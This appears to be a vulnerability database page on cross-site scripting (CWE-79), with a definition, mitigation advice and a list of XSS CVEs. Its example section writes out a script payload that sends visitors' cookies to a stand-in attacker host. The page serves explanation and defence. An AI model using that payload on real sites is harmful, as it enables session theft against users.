Fallos del tipo CWE-79

30.194 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12126MEDIUMSEO Keywords <= 1.1.3 - Reflected Cross-Site Scripting via google_error ParameterEPSS 0.3%CVE-2025-3661MEDIUMSB Chart block <= 1.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via className ParameterEPSS 0.3%CVE-2024-53307MEDIUMA reflected cross-site scripting (XSS) vulnerability in the /mw/ endpoint of Evisions MAPS v6.10.2.267 allows attackers to execute arbitraryEPSS 0.3%CVE-2025-10255MEDIUMAscensio System SIA OnlyOffice Comment Messages.aspx cross site scriptingEPSS 0.3%CVE-2024-43233HIGHWordPress BSK Forms Blacklist plugin <= 3.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-106512HIGHMISP sachertortephp - CakeResponse::download() HTTP Response Splitting via Unsanitized Filename Enables Stored XSSEPSS 0.3%CVE-2025-61457MEDIUMcode16 Sharp v9.6.6 is vulnerable to Cross Site Scripting (XSS) src/Form/Fields/SharpFormUploadField.php.EPSS 0.3%CVE-2023-50860MEDIUMWordPress Amelia Plugin <= 1.0.85 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-3814MEDIUMTax Switch for WooCommerce <= 1.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via class-name ParameterEPSS 0.3%CVE-2026-48164MEDIUMCollabora Online: Reflected HTML injection through host_session_idEPSS 0.3%CVE-2023-4604MEDIUMSlideshow, Image Slider by 2J <= 1.3.54 - Reflected Cross-Site Scripting via 'post'EPSS 0.3%CVE-2025-0521HIGHPost SMTP <= 3.0.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-62413MEDIUMMQTTX vulnerable to cross-site scripting via improper message payload renderingEPSS 0.3%CVE-2024-48622MEDIUMA cross-site scripting (XSS) issue in DomainMOD below v4.12.0 allows remote attackers to inject JavaScript code via admin/domain-fields/editEPSS 0.3%CVE-2024-54224MEDIUMWordPress ElementsReady Addons for Elementor plugin <= 6.4.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32961MEDIUMCUBA JPA Web API Vulnerable to Cross-Site Scripting (XSS) in the /download EndpointEPSS 0.3%CVE-2024-30886MEDIUMA stored cross-site scripting (XSS) vulnerability in the remotelink function of HadSky v7.6.3 allows attackers to execute arbitrary web scriEPSS 0.3%CVE-2024-43793MEDIUMHalo's editor has a stored XSS vulnerabilityEPSS 0.3%CVE-2025-1457MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) <= 5.10.28 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-22559MEDIUMLightCMS v2.0 is vulnerable to Cross Site Scripting (XSS) in the Content Management - Articles field.EPSS 0.3%